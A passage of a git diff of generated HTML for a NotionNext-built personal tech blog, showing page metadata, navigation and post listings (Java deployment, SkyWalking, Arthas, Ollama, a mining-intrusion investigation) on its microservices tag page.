074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":3,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"开发"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"开发"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\345\276\256\346\234\215\345\212\241.html" "b/tag/\345\276\256\346\234\215\345\212\241.html"
index fde341311..6b242e501 100644
--- "a/tag/\345\276\256\346\234\215\345\212\241.html"
+++ "b/tag/\345\276\256\346\234\215\345\212\241.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>微服务 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="微服务 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/微服务"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="微服务 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BE%AE%E6%9C%8D%E5%8A%A1/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BE%AE%E6%9C%8D%E5%8A%A1/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md 